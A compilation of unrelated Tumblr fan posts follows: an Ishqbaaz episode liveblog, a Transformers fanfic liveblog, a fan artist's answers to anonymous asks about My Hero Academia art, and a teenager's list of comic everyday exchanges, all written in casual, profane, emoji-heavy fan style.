OMG YES THEY BROUGHT UP THE “ROTE HUE AAYEGA MERE PAAS” DIALOGUE!!! WE’VE ALL BEEN WAITING FOR ITTTTTTTT 😭😭😭😭

omki’s excitement and glee at shivaay’s happiness. oh my heart. my boys. my beautiful boysssssss. 😭😭😭

4 LIONS MEN GOING FROM GROWLY ASSHOLES TO SOFT PUSSYCATS WHO ARE SO HAPPY TO BE IN LOVE IS MY ULTIMATE FAVE THING EVER OK *weeps* 😭😭😭😭😭

saansein ruk jaati hai was anika’s thing. and di’s thing to arnav. not omki’s to shivaay’s. 😕😕😕

I LOVE HOW SHIVAAY MADE OM COME SEE HIM IN THE DEAD OF THE NIGHT JUST SO HE CAN GEEK OUT ABOUT BEING IN LOVE AND HOW BEAUTIFUL HIS GIRL IS 😚😚😚😚

UGHHHHHHHHHHHHHH MY BOYSSSSSSSSSSSSS 😭😭😭😭

“sabse pehle main tujhse bataane aa gaya” BECAUSE HE’S YOUR PERSONNNNNNN. 💖💖💖

awwww man, i’m just so happy and weepy from all the feeelz. 😭😭😭😭

lol omki yelling at him for telling HIM first instead of anika. 😊😊😊

“i think i need a hug. i think we both need a hug.”

HAWWWWWWWW WITHOUT RUDRA?????? 😯😯😯

THIS HUG THO. MY BOYS. MY BEAUTIFUL, BEAUTIFUL BOYS. OMKI SO HAPPY, HE’S A BLURRRRRRRR. 😅😅😅

“subah subah shivaay singh oberoi pakode tal raha hai?”

a sentence i never thought i’d hear. also, probably a real headline in the newspapers of this show’s universe, knowing the press and the way they act in this show. 😒😒😒

ANIKA AGREES WITH ME ABOUT THE NEWS THING 😧😧😧

anika’s about to lose it at him for using the wrong type of oil. 😆😆😆

(god, she’s so me, it hurts. i too am very specific about shit like this. 😕😕😕)

“aap na bohutttttttt cute ho.”

not in that ugly ass shirt and white jeetendra pants from the 80′s he’s not. 🙄🙄🙄

ALSO, NO YOU!!!!!!!!!! GOD MY GIRL LOOKS SOOOOOOOOO GOOD TODAY. 😍😍😍😍

billu hates being called “cute”. he wants to be called “HOT”, does he? 😏😏😏

OMG HE DOES!!!!!!!!!!!!!! 😯😯😯😂😂😂

lol his innocent “haan dadi????? 😇😇😇”

snort. idiot. he’s doing ONE ARM DISTANCE like we used to do in schoooooool, for assemblies. 🤣🤣🤣

wait, so they’re still in the same room at night? so, what does this “do foot” nonsense even matter??????? 😑😑😑

“DADI KO MAT BOL!!!!!!!!!!!!” “DO FOOT, MY FOOT!”

oh billu. you’re incorrigible. 😝😝😝

also, um hello, YOUR PAKODE?!!?!?! 😯😯😯😯

incoming takaraaana in 3... 2... 1....

EEEEEEEEE HE PULLED HER IN CLOSER EEEEEEEEEEE 😍😍😍

ohhhhhh you twoooooo awkward babiesssss. 😌😌😌

YES, SHIVIKA SHIPPING RIKARA!!!!!!!! 😁��😁

anika helpfully informing shivaay of gauri’s “atrangi ideas” 😊😊😊

anika’s excited squeals oh my hearttttttt what a fucking cutie!!! 💖💖💖

“ab jab hum nahi lad rahein, toh jo humari jagah khaali hai kisi ko toh bharni padegi.”

this damn family thrives on conflict and chaos. check yourselves before you wreck yourselves, idiots. 😐😐😐😐

YAS, MISSION RIKARA IS A-GO!!!!!!!! 🙌🏽🙌🏽🙌🏽

what the fuck is a “shaadi ka bowl”? 🤔🤔🤔

what’s this 90′s bollywood type theme music. 😒😒😒

pfffffffft rudra. you’re soooooo lame. 🙄🙄🙄

HA! i like how she gave it back to him! “public police ko nahi bachaati. police public ko bachaati hai.” 😎😎😎

ok romance is getting tooo icky with the staring. also i haaate their music. fwding. 🙄🙄🙄

gauri approves of shivaay’s olive oil waale pakode. at least someone does. 😋😋😋

meanwhile anika here is working on om. yaaaaaas, i am loving this division of labour. MY BROTPSSSSSSSSS!!!!!!!!! 😘😘😘

shivaay feeding gauri pakode apne haath se. LIKE HE DOES HIS BABY BOY RUDRA. i am actually fucking crying. 😭😭😭😭😭

oh boy anika omki ko faraq ka jaap pada rahi hai. 😐😐😐

OMG SHIVAAY BAAT BANA RAHE HO YA BIGAAD RAHE HO 😯😯😯

but fully loving how he’s trash talking his own brother for bulbullllllllllllll behnaaaaaaa 😚😚😚

OH MY GOD SHE’S SO CUTEEEEEEEEEEEE WHAT EVEN IS HER FAAAAAACE 😍😍😍

meanwhile anika toh is going to town on omki with reverse psychology. behen, sambhaal ke. bante bante baat ke upar apni bulldozer mat chalaiyo. 😣😣😣

OMFG HIS FACE AT “DER HO CHUKI HAI” AND “MOVE ON”. YES!!!!!!!! 🙃🙃🙃

“ab gauri ko main pasand nahi hoon???? 😟😟😟”

THE FEAR. I AM LOVING IT. I AM LOVINGGGGG ITTTTT. 😆😆😆

“agar woh tumhare paas aaye toh mooh pher lo. pher lena!!!! achcha ab yahaan phero, sun toh lo.”

omfg shivaaaaaaaay. lmaooooooo i love these two togetherrrrr. 🤣🤣🤣

ok kids, time to pick a team in the replies: are you #TeamAniKara or #TeamShivRi

you guys know my team already. bade bhaiyya and bulbul have my fuckinggggg heart. 😍😍😍😍

“ab gauri om se door bhaagegi.” “aur om gauri ke peeche peeche!” “aur hum?”

tum dono ab make out karoge. 😌😌😌

*siiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiigh* 😍😍😍😍😍

oufffffo dadiiiiiiii yaaaaaaar. 😣😣😣

LMAO “pehle toh nahi tha puttar, lekin teri harkatein dekh kar...” dadi let the boy liveeeeeee lollllllll 😆😆😆

you guys i can’t tell you how hella glad that i am that anika is just as frustrated as billu. it just warms my hearttttt that she’s as into it as he is. 😌😌😌

oh my heartttt, omkiiiii. look at his faaaace. and how he’s nervously adjusting his shirt and vest before approaching her. 😭😭😭

‘please still love me!’

oh boy, not the best voices to have in your head guiding you. honestly, why would you take advice from a couple who haven’t even been properly together for 24 hours yet!!?!?! 🙄🙄🙄

ohhhh boy omki is going to be asad (from QH) ka sequel, with the “woh actually, main...”s. 😬😬😬

HIS PANIC AT “SAB KHATAM HO GAYA HAI”!!!!!!! HER ADORABLE FAKE GUSSA! HIS DARRRA HUA FACE! I LOVE IT ALL OMG

ohhhhhhhhhhhhh no. these fucking idiots. they underestimated omki. 😟😟😟😬😬😬

OK LITERALLY NO ONE CARES ABOUT TEJVILANA. FWDING.

will i ever stop sighing happily over these two and their cuteeeee???? 😭😭😭😍😍😍😚😚😚

hahahahahaha shivaay dropping the stuff and fumbling picking it up . what an idiottttt. 🤣🤣🤣

oh boy why does dadi have rope?!!?!?! 😬😬😬

what a cutieeeeeeeee 😍😍😍

OMFG OMKI DHOKEBAAZ 😧😧😧

omggggg hahahahah shivaay singing “jahaan main jaata hoon wahin chali aati hai” 🤣🤣🤣🤣

lo rudra ki bhi entry. loving the casual way shivaay and he exchanged rock on 🤘🏽🤘🏽🤘🏽🤘🏽 gestures as greetings.

“rudy, pata hai, shivaay rangay-haathon pakda gaya!” “bhaiyya yeh koi holi khelne ka time hai kya?”

snortttttt, idiot. 😂😂😂😂

ohhhhhhhh boyyyyy. omkiiiiii. tu toh puraaaaara paaapi nikla. 😫😫😫

bulbul doing taubaaaa gestures at “patne - pataane ki baatein” hahaha 😆😆😆

lol anika getting mad at shivaay for being an idiotttttt. 😂😂😂

ouff againnnn tejvilana nonsense. fwding. 🙄🙄🙄

lo, omkara has taken the ramayan parallels from the initial promos a little too seriously and drawn a literal lakshman rekhaaaaaa. 😐😐😐

ladki waale kaun ladke waale kaun waala confusion.

lmao smart singh oberoi has very cleverly declared himself a ladki waala and stepped rightttt over the loc lololol 😂😂😂

DEVAR SQUAD ARE LADKI WAALE. *weeping* 😭😭😭

BEHNEIN BADE BHAIYYA KI TARAF SE. 😚😚😚

AND SHAKTIJI IS LADKI WAALE. FROM “BETI” KE SIDE. *weeps 5ever* 😭😭😭😭😭😭😭😭😭

pffft tumhaaare dad aur mom haiiii kahaaan? have you even bothered calling them for the last 2 weeks? 😒😒😒

ugh fuck off pinky. no one invited you. 😤😤😤

maaaaaaaaaan, what even is this jhanvi plot?

who dat on the bike? um... kinda looks like gauri ka woh “apun ki sister” waala bhaiyya? 😕😕😕

OMFG IT IS HIM. WHUT? 😯😯😯

HOLY SHIT WHAT EVEN IS THIS JHANVI/DANDIIII TEAM UP??? 😟😟😟

ok idek why i’m watching this nonsense. oh wait. i do, for this face:

who the fuck told these people that south indians start every sentence with “aiyyo”????? 😒😒😒

like idk about other south indian states, but elders always admonish me if i say “aiyyo” too much - it’s a thing you say in distress and it’s believed saying it over and over kinda invites negativity into your life. 😐😐😐

THEY’RE TAMILIANS AND THAT’S A MALAYALAM NEWSPAPER. WHAT THE FUCK EVEN OMGGGGGGGGG. 😧😧😧😟😟😟

ALSO THE TITLE OF THE NEWSPAPER IS JUST A BUNCHA RANDOM MALAYALAM LETTERS THROWN TOGETHER????? THE FUCK. 😣😣😣😣

dandiiiiiii is under the influence of dosas and thinks kaveri/peter are legit. don’t blame him, whatever said and done, those dosas did look damn good. 😌😌

also, i hate the way north indians pronounce “dosa” - it’s tho-sha/tho-sa, not dosa with a hard D. 😒😒😒

OH THANK GOD. DANDI CAN TELL MALAYALAM AND TAMIL APART. HALLELUJAH. ALREADY LIKE HIM MORE. 😐😐😐

jhanvi is like yep, that kinda ignorant ass north indian bs sound like tej/svetlana for sure. 😒😒😒

didn’t even get what the precap was about really. some murti, some shiv-parvati sanjog, and everyone shocked at shivaay’s possesiveness re: khanna. ok???????? 🤔🤔🤔🤔

hopefully om-gauri get a little trip outta this hellhole to go get this murtiiiii? 😊😊😊

#ishqbaaz #ishqbaaaz #ib episode liveblogs #episode liveblogs #290817 ib lb

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blitzbee-and-gt · 4 years

Text

RoE Chapter 24

LAST ONE let’s go

“Yeah, right, yeah, absolutely,” Bumblebee said, trying to follow along while his processor spun around one single question over and over. “So—uh—Megatron wasn’t there, was he? And neither was Blitzwing? Just wondering, I mean, maybe they split up or something, I don’t know. You’re sure you didn’t see Blitzwing? Or—or Megatron?”

real subtle, Bee

He was so wrong, Blitzwing thought, swallowing hard. He was right, of course, but he was so, so wrong. Self preservation had become unimportant to Blitzwing months ago.

AAAAAAAAHHHHHHH

There is more than one yellow car on this planet, Blitzwing told himself harshly, tilting a wing to the side and rocketing away from the city.

I think someone already said this in a comment somewhere but seeing a yellow car and immediately thinking of Bumblebee is like. the quintessential TF fan experience lmao

Nor would any human choose to paint their vehicle with such a tacky black racing stripe.

I mean, Captain Fanzone did but I guess that’s beside the point

A single thought dominated Bumblebee’s processor: Blitzwing was okay.

Relief washed over him, though the feeling was quickly replaced by panic, wondering if Blitzwing had seen his life signal and was being sent to kill him.

I mean I know why but WHY would you think that, Bee D:

Blitzwing growled, his face spinning to red with a whirr that made Bumblebee’s spark jump into his throat.

i Love how he much he missed the sound of Blitzwing’s face changing, considering how much he hated it at the start of the fic

“Bumblebee.”

Bumblebee paused, looking up at Blitzwing, who was standing even closer now, close enough to send Bumblebee’s spark into a whole series of acrobatic flips.

MMMMMMMMMMMMMMMMMMMM

“You started acting strange at some point,” Blitzwing said, raising a brow, looking almost smug. “And I think I may have figured out why.”

you didn’t “figure out” shit you oblivious dumbass, Bumblebee straight-up told you.

like I guess he didn’t specifically say “I’ve been weird bc I like you” but you don’t get a cookie for being able to put 2 and 2 together to make 4

“You were weird too!” Bumblebee said defensively, crossing his arms. “You got all… distant and confusing after you told me about that—that stuff

d. did he though????

Bumblebee scoffed loudly, rolling his optics hard. “Can you shut up and let me talk?”

“No,” Blitzwing said, suddenly dropping to one knee, holding himself at Bumblebee’s level. “You’ve done enough talking for one evening.”

HERE WE GO

He felt his frame move of its own accord as he rushed forward, jamming himself into Blitzwing’s hand and grabbing onto his face, fingers quivering as he finally, finally closed the gap between their lips.

Ohhh my god. Ohhh ,y god. Ohhhhhhhhhhhhh THERE IT IS THERE IT IS. THERE IT IS. OH MY GOD. EAYEAYEYAYEAHEYAHEY EYAEAAAAAAA YEAAAAAAAAAAAAAAA YEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA YEAAAAAS. I FOOUND IT. I FOUND IT. I FOUND IT. I FOUND IT. YEAH. YEAAAAAAAAAAAAAAAH. I FOUNDI IT FINALLY!!!!! YEAH!!!!! OH MY GOD. OH MY GOD I FINALLY FOUND IT. OH MY GODO. HOH MY GOD. I CAN’T BELIEVE IT. TAKE A LOOK AT HTIS EVERBODY. A LIVE SHINY PONYTA IN MY LEAF GREEN VERSION. I CAN’T BELIEVE THIS. I CAN’T BELIEVE THIS. I FINALLY GOT IT. OH MY GOD my heart is beating 100 miles per hour. i was listening to my favorite band once again. Sum 41. No Reason. Live in Ontario 2005. after 25968 encounters I HAVE FINALLY GOT IT OH My god corre al gol, lo va a patear yyyy GOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOoOoOoOoOoOLLLLLLLLLLLLLLLLL!!!!!!!!!! GOL GOL GOL GOL GOL GOL GOL GOL!!!!!……QUE GOLAZOOOOO!!!! *churns butter very quickly*

Blitzwing chuckled, pressing his helm more firmly against Bumblebee’s, a servo tracing the outline of Bumblebee’s waistline.

“We can’t do this,” Blitzwing breathed, his digits pressing against Bumblebee’s back.

“We can’t do this” big words coming from the one who fuckign. practically BEGGED for this kiss and initiates the next 3 in the first damn place. you dumbass.

anyway im Dead I love this fic so damn much.

I’ll probably start writing up AufN liveblogs later this week once I’m done w/finals but tbh I highly doubt anyone’s actually reading these so. the only one I’d be disappointing by posting super late is myself

#Fic liveblog

0 notes

franeridart · 6 years

Note

would it be possible for you to draw the three bakusquad couples hanging out together? (bakushima, kamijirou, and seromina)

Anon said:could you maybe draw some seromina? i feel like the ship doesn’t get enough love and they’re really cute together

I’ve had a comic about all three ships drafted for an age, maybe I’ll finally finish it later today!! :0

Anon said:Love your Bakushima stuff! It keeps me going through the hell I am in ;w;

Thank you!!! I’m sorry you’re not currently in a good place tho, anon ;^; I hope all the best will come your way soon!

Anon said:so i checked your FAQ and it doesn't mention anything about commissions, which i suppose maybe links in with the whole no requests thing? anyway, feel free to ignore this ask if you don't and never will do commissions but know that i'm here with my wallet open if you ever do lololol

Thank you so much for the interest??? Commissions are an idea that I’ve been tossing around in my head for the past month or so, actually - I’m not promising anything, but I might actually open them soon enough!

Anon said:Who is bottom, Bakugou or kirishima

This isn’t that sort of blog anon!!! No n//sfw talks around here

Anon said:You got any kaminai angst hc?

This is also not that sort of blog!!! No angst talks around here either! sorry to disappoint both of you, tho I would have assumed that was actually pretty obvious from the blog itself hahaha

Anon said:i love your art so much but there's something about the little chibi extras that make me want to squee and cry at the same time, they're sO CUTE

THANK YOU!!!!! Drawinf chibis has always been one of the most relaxing things for me, those extras are always 100% self-indulgence so knowing you like them makes me really happy!!! :D

Anon said:I just want to tattoo one of your kiribakus drawing on my back, can i?

I don’t know why you’d want to do that tbh hahaha

Anon said:Idk if you're into greek mythology but if kiribaku were put into the eros and psyche myth who do you think each one would be?

Hmmm to be honest I can’t say I feel like they fit either particularly well, but if I had to pick Baku would be Psyche and Kiri Eros, I feel :0

Anon said:Hi!!! I love your art sooo much!! Especially those comics where the bakusquad are turned into babies! SO CUTE I WAS DYING. Do you think you’ll ever do it again?

Ahhhhhhhh thank you so much for liking those, anon!! I don’t think I’ll ever pick up te exact same idea again, tho ;^; sorry, maybe a variation of it but not that same one

Anon said:I miss your Haikyuu fanart, particularly your BoKuroo stuff. The next season needs to happen.

!! well, I can’t say a new season is gonna change much as far as my content output is concerned, sadly - I’m also following the manga, after all haha

Anon said:I shall always reblog everything you create. They are all masterpieces.

AHHHHHHHH!!!!!!!!!!!!!!!!!!!!!!!! THANK YOU!!!!!!

Anon said:What post was it please share im in need

I’m sORRY it was a long long time ago and I never properly tagged it orz

Anon said:The poke thing.... OMG YOU KILL ME WTFFFF. So fucking cute, blasty baby. Your art make me so happy u dont have an idea! (In a manly way obvly haha) Thank u so much♡

!!!! thank you for liking it, anon!!!!!

Anon said:Okay last night at like 4am I looked at one of your fluffy kiribaku comics, and I don't even remember which one, but I saw it and began c r y i n g and I only remembered now

Ohhhhhhhhhhhhh man I didn’t mean to make you cry??? Thank you for liking my stuff that much, tho!!

Anon said:Do you have any tips on how to draw hands and feet? I'm tired of drawing people with what look like claws and hooves

Somewhere in my #tutorials or #art tips tag there should be something about hands I did a while ago? But honestly anon the only real tip I can give you is to use a lot of references and draw them a lot, which sounds useless but it’s really how I’m learning how to draw them orz

Anon said: your art is so absolutely phenomenally unique and just, GORGEOUS. it makes me so happy and it makes me smile and just. i love it so much, thank you for sharing it with us

SOB thank you SO MUCH seriously oh my g o d ;O;

Anon said:lol anon from a previous ask about the lack of noses, I appreciate the detailed explanation. I thought I was going to get a simple "because I don't feel like it" which is cool too, I still appreciate the time you took to answer me

It’s okay! I have reasons for everything I do with my style (tho most of it boils down to I’m a very lazy person haha) so I don’t really mind that sorta questions! :D

Anon said:Did I ever tell you how much I fucking love you, and your art ❤️❤️❤️💗💖💓💞💘💕💝💗💓💖❣️💕💘💓💞💝💓💖💘💓💘💘💕

AAAHHHH THANK YOU!!!!

Anon said:You are honestly one of my favorite artists ever just because of your art style and because you're pretty much exclusively a kiribaku and bakysquad artist!

I do tend to draw a ton for that specific group right now, don’t I hahaha I’m glad you’re enjoying it!!!

Anon said:Consider this: Bakugou with glasses

oHO but I already did consider that :D

Anon said:I just wanna say thanks love for providing me with bakushima fluff it’s quite rare to see art of it so your my Bakushima fluff supply love ya!

I’m glad you’re enjoying it! Is it really rare tho? I feel like all the krbk I see around is fluff hahaha

Anon said:Dude, dude, DUDE, I LOVE YOUR ART SO MUCH AND I LOVE YOU AND YOU'RE AMAZING AND I'M NOT EVEN IN THE BNHA FANDOM ANYMORE (I wasn't a big fan of the protagonist) BUT I ALWAYS COME BACK TO YOUR BLOG!

HOLY HECK THANK YOU!!!!!!!!!!!!!!

Anon said:I really hope that season 3 means we'll see hardened!kiri and the third years being animated.

Awww I really don’t think so, anon ;^; my guess is that Eri’s arc and the Big Three will be the beginning of s4 :(

Anon said:wait pls list some amazing blogs that you like im so curious to know where you draw inspiration from also I LOVE YOU

Ahhhh I love you too!!!! And if we’re talking about blogs that inspire me then !!! taro-k, motekill, sunflower-squad, itsdanfango, oikws, jeanrydeart, syblatortue (blog’s n//sfw, blah blah, you know the drill) camilleto, kimoidane, naeuri, l1ng, seventypercentethanol, natroze, andatsea, and that’s, just, the first I could come up with and only a minimal part of them seriously there’s so many great artists on this site orz

Anon said:Hey there! Firstly, I love your art it's stunning. Secondly, what are your fav ships from bnha aside from kamijiro and kiribaku? personay I enjoy todomomo and dekuraraka :))

OH thank you!!!!! And I’d say erasermic and most of any combination between the squad kids, really hahaha

Anon said:I have never even though about the noselessness (what is english language) of your art :D My brain has just slide aside that fact and after reading the anon's ask I went: What? They don't? Oh, they don't :D Your style is so expressive :D I love it

HECK thank you SO MUCH !!!!!!

Anon said:hey fran I would DIE for u

pLEASE DON’T DIE

Anon said:Would you draw Erasermic?

Hell yeah I would, after all I already have in the past hahaha

#fran answers #replies replies replies #hope you all have a nice day btw! today's nice here!!#the sun's high and i'm feeling g o o d #:D #anonymous

229 notes · View notes

stick-zac · 7 years

Text

Something from today #051 - #100

Something from today #100

Me: *Turns volume pp to 90* Friend: *Jumps in shock* F*ck you! Me: :D

Something from today #100 13, August, 2015 *Girl shows me a picture on her Instagram* Me: You’re *drops to the ground* drop dead gorgeous ;) Girl: *starts blushing*

Me: Hey man Friend: Hey man Me: I got one question Friend: Yeah? Me: What are thoooooooooooooooooooooooose!? Friend: … Me: I gotta dash bye

Brother: Do I smell good? Me: Uck… I.. Cannot.. Talk.. Too Disugsting… chocking on vomit… Brother: You suck Me: UCK!

Friend: I bet I can get it in from all the way over hre (Roughly 20 feet) Me: If you can’t, then you owe me a $1,000,000 Friend: Alright *Throws it and misses) Me: Let me try *throws and gets it first try* Me: GET F*CKING WRECKED SON!

This SFT was posted by infinityonmeme i totally made my online friend’s day like i made them so happy and now I’m happy ———————————————————— Something from today #099 Me: Here you go teacher *hands her my written essay* the definition of perfect Teacher: Hehehe Everyone: Wow alright man! Woo!

Guy: Who wants to kick FingerRocks out of the group? Everyone: *No one raises their arm* Me: Who wants to kick him out? Everyone: *All raise their hands and those not part of the group also raise their arms* Guy: You know what, I’m just kidding ———————————————————— Something from today #098 Guy: Who wants to kick FingerRocks out of the group? Everyone: *No one raises their arm* Me: Who wants to kick him out? Everyone: *All raise their hands and those not part of the group also raise their arms* Guy: You know what, I’m just kidding ———————————————————— Something from today #097 Girl: I love you Guy: I love you too *Both start making out* Me: *Pretends to vomits* Me: :D ———————————————————— Something from today #096 Brother: *Takes my chocolate and runs away* Me: Oh hell no *Throws a pack of toilet paper at him* Brother: *Drops to the ground* Owwwwwww Me: You just got TP! ———————————————————— Something from today #095 *After playing FNAF 4 with my friend* Friend: You bloody gave me 2 heart attacks! Me: Hey, hey now… It was only 2… better than the 4 I planned… ———————————————————— Something from today #094 Me: *Gives a friend a packet of tissues with a picture of jeans on them* Put this in your pocket Friend: Okay *put it in her pocket* Me: Now take it out Friend: Okay *starts to take it out* Me: Jeanception Friend: You’re weird ———————————————————— Something from today #093 Friend: I like Nerf Me: It’s Nerf or Nerfing Friend: Yeah Other friend: Oh god that was bad *5 Seconds later* Friend: Hahahahahahaha ———————————————————— Something from today #092 Friend: I have accounting homework to do Me: *Starts looking around for something* Friend: What are you looking for? Me: Someone who gives a sh*t ———————————————————— Something from today #091 Me: Well I gotta be magoing so Imma bebazzle dazzle and razzle off Friend: … Me: Billazle later ———————————————————— Something from today #090 Me: Are you an owl? Friend: What? Me: Because you’re a HOOT! Friend: :) Me: :)

———————————————————— Something from today #089 Me: Who wouldn’t want fried rice? Friend: I want some f*cking fried rice! ———————————————————— Something from today #088 *Infinityonmeme had called me out about making 87 SFT so I sent her ever single one made* Her: Holy SHIT Zac that’s so many omg Me: *Drops mic* You’re damn right it is ———————————————————— Something from today #087 *Friend tells me something about them* Me: Damn Friend: What’s wrong? Me: Now I gotta change my insults Friend: Like? Me: Well before I knew you went both ways I’d make a dirty comment, now it’s like I can’t make a comment based on a mutual and self-respected choice in today’s society ———————————————————— Something from today #086 I finished doing my school’s play* Friend: I’d say it is 10/10 IGN ———————————————————— Something from today #085 *I just finished doing my school’s play* Friend: Hey man it was nice seeing you, good luck with the play Me: Thanks *starts leaving* Friend: Oh f*ck, sorry, I meant good night, damn it! ———————————————————— Something from today #084 Friend: It’s 8:45-ish Me: It’s 9:04 Friend: …Yeah I was close ———————————————————— Something from today #083 Me: I don’t have to be at school till 10 Friend: *Gives me the itching my head + flipping you off gesture* Me: Love you too ———————————————————— Something from today #082 *Mum had recently purchased some Royals (The chocolate marshmellow thing)* Me: Mum, do you want Lorde? Mum: Yes, I’ll take 2 please Me: hehe, you get me ———————————————————— Something from today #081 *Brother is currently playing the PS3* Me: Your time is like the sky, it’s up ———————————————————— Something from today #080 Friend: *Shows me a picture of a cat in a bowl* Me: He looks like a giant milk shake ———————————————————— Something from today #079 *Me and a group of friends chatting* Friend: Look at these big muscles Other friend: You mean those tiny bags of fat? Everyone: OHHHHHHHHHHHHH!!!! ———————————————————— Something from today #078 Me: Come on guys, let’s us go out and enjoy the lov- AHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH MY EYES!!!!! ———————————————————— Something from today #077 *Me and my friend arguing about who was right with another friend* Friend: You’re wrong Me: No I’m not. What do you say Friend 2: … Me: Look you can make *slides 5$ into his shirt pocket* your own decision Friend 2: Uhh Me: See *takes back 5$ and suddenly I got 10$* Me: What the? ———————————————————— Something from today #076 *Me and friend are using towels to whip each other* Friend: Now this is what true friendship is ———————————————————— Something from today #075 *Me and my brother playing Call of Duty Black Ops II Zombies* Brother: So anyway we need to activate Generator- Me: AHHHH!!! Brother: Ahh *drops controller* What the hell was tha Me: I was scared by the zombies… ———————————————————— Something from today #074 *Me and my friends are helping me find locations to put up some Cup Cake Sale posters* Friend 1: Put them on the ceiling, so when the teacher gives the students homework, they’ll go “Ahhh” and look up and go “Ohh cupcake sale” *me and Friend 2 start laughing* Friend 2: Hahaha *leaves because he might die of laughter* Teacher: Is he alright? ———————————————————— Something from today #073 Me: *Makes a pun* Aaaayyyeeee Friend: … Me: I’m sorry ———————————————————— Something from today #072 Jack: I’ve made a new video Me: You posted our GTA V race? Jack: Uhh, it’s with someone else Me: Oh… *Later* *Me to James* Me: Jack is cheating on me! *Another friend I know who happens to be named Jack and looks at me with a concerned look as his girlfriend looks in surprise* Me: Uh… I can explain… ———————————————————— Something from today #071 Me: Cool Friend: Sweet Me: Rad Friend: Hectic Me: Amazing Friend: Spontaneous Me: Fantastic Friend: Splendid Me: Magnificent Friend: Excellent Me: Brilliant Friend: Terrific *Says he has to go* Me: Extraordinary, bye *Friend logs off* Me: I WIN!!! ———————————————————— Something from today #070 *My friend Infinityonmeme is doing World’s Greatest Shave and I’ve donated $10 so she gives me a special receipt* Her boyfriend: Oh, how come I don’t get one Her: You only donated in coins *I’m doing the Macarena whilst they argue* ———————————————————— Something from today #069 (Hehe) Friend: Why do these chairs have clips on the legs? Me: It’s so you can connect them together and play Musical Chairs Friend: … Other friend: He is being sarcastic Me: Yeah… ———————————————————— Something from today #068 *I tell a joke to prove to my brother it does make sense* Older brother: Cool *walks away* Brother: Wait for it *10 minutes later* Older brother: Wait a minute! ———————————————————— Something from today #067 *Me and my friend playing Minecraft* Friend: I’m going to kill this pig Me: Why? Friend: Because Me: Well that sounds like a legitiment reason ———————————————————— Something from today #066 *Me and my brother in an insult contest) Me: You so stupid you sold your car for gas money Brother: You so ugly you made Medusa cry Me: … ———————————————————— Something from today #065 Brother: I too have played the story of Black Ops, I’m nearly near the end Me: What level is the prison level? Brother I haven’t made it there yet Me: It’s the second level… ———————————————————— Something from today #065 *Me and my brother talking about his COD trophies* Me: Why don’t you play Story and actually get trophies? Brother: … You suck ———————————————————— Something from today #064 Me: *Tells my brother some obvious COD Facts* Brother: Oh maw gawd, IIIIII did not know that!!! How, how crazy is that? Me: -_- Thanks Brother: :D ———————————————————— Something from today #063 Me: You’ll rage quit in an hour Brother: No I won’t *10 minutes later* Brother: Screw this game! *Slams controller* Me: Well, I was wrong and you’re right Brother: -_- Me: :D

———————————————————— Something from today #063 *Makes a pun* Me: Anyone? No? Okay… ———————————————————— Something from today #062 Me: *playing PS4* Yeah man, I gotta go but I’ll be back on in about an hour, bro wants to play Brother: What do you mean an hour? Me: You’ll rage quit in an hour Brother: No I won’t *Later* Brother: Screw this game! Me: c: Brother: No, I didn’t quit *More Later* *Brother tried making the Staff in Call Of Duty* Brother: What’re you looking at? Me: I’m not looking at you making the staff Brother: Too far man! Too far ———————————————————— Something from today #061 Brother: Dude why are you up so late? Go to bed *He procceds to start eating dinner* Me: What about you? Brother: *mouth full* What? ———————————————————— Something from today #060 *Brother walks in with a can of coke* Me: Awww yeah share that *I take the can and he puts his hand over the lid* Me: *Trying to drink through* You know, I can’t drink with your hand in the way Brother: Gee I wonder why Me: Yeah move your hand Brother: -_- ———————————————————— Something from today #059 Brother: You’re so ugly Me: No I ain’t Brother: yes you are, look in the mirror Me: I would but your ugly face broke all of them Brother: … Me: BD ———————————————————— Something from today #058 Me: What’s the difference between a guitar and a tuna? Family: What? Me: You can TUNA Guitar but can’t GUTAIR a tuna! Family: *Shakes head in disappointment* ———————————————————— Something from today #057 in Photo Form! http://stick-zac.tumblr.com/post/122764871188/something-from-today-57-in-photo-form ———————————————————— Something from today #056 *Me and my friends playing Uno* Me: I’m so glad I have… *Friend puts down a Draw 4* and screw you too ———————————————————— Something from today #055 Cousin: Are you and your brother close? Me: *I’m placing my brother in a chokehold whilst punching him* Yeah… We… Are… Very… Close… ———————————————————— Something from today #054 *Me and my friend playing Minecraft, because we live in different time zones I’m a day ahead of him* Friend: Well I gotta go to sleep, it’s 4:30 Me: Yeah, I’ll play with you yesterday Friend: … Wait… whaaa Me: Because tomrrow for you is yesterday for me Friend: Stop f*cking with my mind! Me: :D ———————————————————— Something from today #053 *My friend got GTA V for his laptop* Friend: Man the flying in this game is bad Me: Maybe you just suck? Friend: I’d like to see you try Me: Oh yeah!? *Dies within the first 3 seconds* Me: Oh… ———————————————————— Something from today #052 *Me and my brother running back home after giving food to our neighbors. She always gives us some packet of chips as a gift back and I toss them at my brother, however she hands something to my brother and they dash off but before I can get out the door she hands me some more items* *I then run back to my brother* Brother: GHaha you ain’t got nothing to throw at… Me: *I throw 4 chip packets at him* Brother: AAAAAAHHHHHHHH *falls to the ground* Me: Bet you didn’t see that coming did ya! ———————————————————— Something from today #051 Mum: Can you bring your sister to me so I can do her hair Me: Sure *My sister doesn’t like it when I get close to mummy because she is jeaulous and runs after me to stop me* Sister: Go away! *Mum grabs her* Sister: Help me! Me: Nah I’m going away *pretends to throw on shades and sings “So you wanna be a gangster”*

@infinityonmeme @jlukeayy

#SFT 051-100

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